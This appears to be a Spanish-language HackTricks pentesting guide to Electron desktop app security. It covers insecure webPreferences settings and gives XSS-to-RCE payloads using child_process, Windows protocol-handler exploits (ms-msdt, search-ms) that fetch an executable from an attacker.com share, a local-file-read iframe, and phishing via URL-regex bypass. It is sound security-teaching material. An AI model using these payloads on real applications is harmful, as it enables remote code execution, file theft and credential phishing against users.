Aplicaciones de Escritorio Electron
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Introducci贸n
Electron combina un backend local (con NodeJS) y un frontend (Chromium), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
Por lo general, puedes encontrar el c贸digo de la aplicaci贸n electron dentro de una aplicaci贸n .asar
, para obtener el c贸digo necesitas extraerlo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
En el c贸digo fuente de una aplicaci贸n Electron, dentro de packet.json
, puedes encontrar especificado el archivo main.js
donde se configuran las opciones de seguridad.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron tiene 2 tipos de procesos:
- Proceso Principal (tiene acceso completo a NodeJS)
- Proceso de Renderizado (deber铆a tener acceso restringido a NodeJS por razones de seguridad)
Un proceso de renderizado ser谩 una ventana del navegador cargando un archivo:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
La configuraci贸n del proceso de renderizado se puede configurar en el proceso principal dentro del archivo main.js. Algunas de las configuraciones prevenir谩n que la aplicaci贸n Electron obtenga RCE u otras vulnerabilidades si las configuraciones est谩n correctamente establecidas.
La aplicaci贸n Electron podr铆a acceder al dispositivo a trav茅s de las APIs de Node, aunque se puede configurar para prevenirlo:
nodeIntegration
- est谩desactivado
por defecto. Si est谩 activado, permite acceder a las caracter铆sticas de Node desde el proceso de renderizado.contextIsolation
- est谩activado
por defecto. Si est谩 desactivado, los procesos principal y de renderizado no est谩n aislados.preload
- vac铆o por defecto.sandbox
- est谩 desactivado por defecto. Restringir谩 las acciones que NodeJS puede realizar.- Integraci贸n de Node en Trabajadores
nodeIntegrationInSubframes
- est谩desactivado
por defecto.- Si
nodeIntegration
est谩 habilitado, esto permitir铆a el uso de APIs de Node.js en p谩ginas web que est谩n cargadas en iframes dentro de una aplicaci贸n Electron. - Si
nodeIntegration
est谩 deshabilitado, entonces los preloads se cargar谩n en el iframe.
Ejemplo de configuraci贸n:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Algunos RCE payloads de aqu铆:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capturar tr谩fico
Modifica la configuraci贸n de start-main y a帽ade el uso de un proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Inyecci贸n de C贸digo Local en Electron
Si puedes ejecutar localmente una aplicaci贸n de Electron, es posible que puedas hacer que ejecute c贸digo javascript arbitrario. Consulta c贸mo en:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Si nodeIntegration est谩 configurado en on, el JavaScript de una p谩gina web puede utilizar f谩cilmente las caracter铆sticas de Node.js simplemente llamando a require()
. Por ejemplo, la forma de ejecutar la aplicaci贸n calc en Windows es:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
RCE: preload
El script indicado en esta configuraci贸n se carga antes que otros scripts en el renderer, por lo que tiene acceso ilimitado a las APIs de Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Por lo tanto, el script puede exportar node-features a p谩ginas:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Si
contextIsolation
est谩 activado, esto no funcionar谩
RCE: XSS + contextIsolation
El contextIsolation introduce contextos separados entre los scripts de la p谩gina web y el c贸digo interno de JavaScript de Electron, de modo que la ejecuci贸n de JavaScript de cada c贸digo no afecte al otro. Esta es una caracter铆stica necesaria para eliminar la posibilidad de RCE.
Si los contextos no est谩n aislados, un atacante puede:
- Ejecutar JavaScript arbitrario en el renderer (XSS o navegaci贸n a sitios externos)
- Sobrescribir el m茅todo incorporado que se utiliza en el preload o en el c贸digo interno de Electron a una funci贸n propia
- Activar el uso de la funci贸n sobrescrita
- 驴RCE?
Hay 2 lugares donde los m茅todos incorporados pueden ser sobrescritos: En el c贸digo de preload o en el c贸digo interno de Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass del evento de clic
Si hay restricciones aplicadas al hacer clic en un enlace, es posible que puedas eludirlas haciendo un clic medio en lugar de un clic izquierdo regular.
window.addEventListener('click', (e) => {
RCE a trav茅s de shell.openExternal
Para m谩s informaci贸n sobre estos ejemplos, consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/
Al implementar una aplicaci贸n de escritorio Electron, es crucial asegurar la configuraci贸n correcta de nodeIntegration
y contextIsolation
. Se establece que la ejecuci贸n remota de c贸digo del lado del cliente (RCE) dirigida a scripts de precarga o al c贸digo nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.
Cuando un usuario interact煤a con enlaces o abre nuevas ventanas, se activan oyentes de eventos espec铆ficos, que son cruciales para la seguridad y funcionalidad de la aplicaci贸n:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Estos oyentes son sobrescritos por la aplicaci贸n de escritorio para implementar su propia l贸gica de negocio. La aplicaci贸n eval煤a si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisi贸n se toma t铆picamente a trav茅s de una funci贸n, openInternally
. Si esta funci贸n devuelve false
, indica que el enlace debe abrirse externamente, utilizando la funci贸n shell.openExternal
.
Aqu铆 hay un pseudoc贸digo simplificado:
Las mejores pr谩cticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la funci贸n openExternal
, ya que podr铆a llevar a RCE a trav茅s de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podr铆an desencadenar RCE. Para ejemplos detallados y una explicaci贸n adicional sobre este tema, se puede consultar este recurso, que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
Ejemplos de exploits de protocolos de Windows incluyen:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
Lectura de Archivos Internos: XSS + contextIsolation
Deshabilitar contextIsolation
permite el uso de <webview>
tags, similar a <iframe>
, para leer y exfiltrar archivos locales. Un ejemplo proporcionado demuestra c贸mo explotar esta vulnerabilidad para leer el contenido de archivos internos:
Adem谩s, se comparte otro m茅todo para leer un archivo interno, destacando una vulnerabilidad cr铆tica de lectura de archivos locales en una aplicaci贸n de escritorio Electron. Esto implica inyectar un script para explotar la aplicaci贸n y exfiltrar datos:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Chromium Antiguo
Si el chromium utilizado por la aplicaci贸n es antiguo y hay vulnerabilidades conocidas en 茅l, podr铆a ser posible explotarlo y obtener RCE a trav茅s de un XSS.
Puedes ver un ejemplo en este writeup: https://blog.electrovolt.io/posts/discord-rce/
Phishing XSS a trav茅s de bypass de regex de URL interna
Suponiendo que encontraste un XSS pero no puedes activar RCE o robar archivos internos, podr铆as intentar usarlo para robar credenciales a trav茅s de phishing.
Primero que nada, necesitas saber qu茅 sucede cuando intentas abrir una nueva URL, revisando el c贸digo JS en el front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
La llamada a openInternally
decidir谩 si el link se abrir谩 en la ventana de escritorio ya que es un enlace que pertenece a la plataforma, o si se abrir谩 en el navegador como un recurso de 3ra parte.
En el caso de que la regex utilizada por la funci贸n sea vulnerable a bypasses (por ejemplo, al no escapar los puntos de los subdominios), un atacante podr铆a abusar del XSS para abrir una nueva ventana que estar谩 ubicada en la infraestructura del atacante pidiendo credenciales al usuario:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Herramientas
- Electronegativity es una herramienta para identificar configuraciones incorrectas y patrones de seguridad anti en aplicaciones basadas en Electron.
- Electrolint es un plugin de c贸digo abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
- nodejsscan para verificar bibliotecas de terceros vulnerables.
- Electro.ng: Necesitas comprarlo.
Laboratorios
En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
Algunos comandos que te ayudar谩n con el laboratorio:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referencias
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- M谩s investigaciones y art铆culos sobre la seguridad de Electron en https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.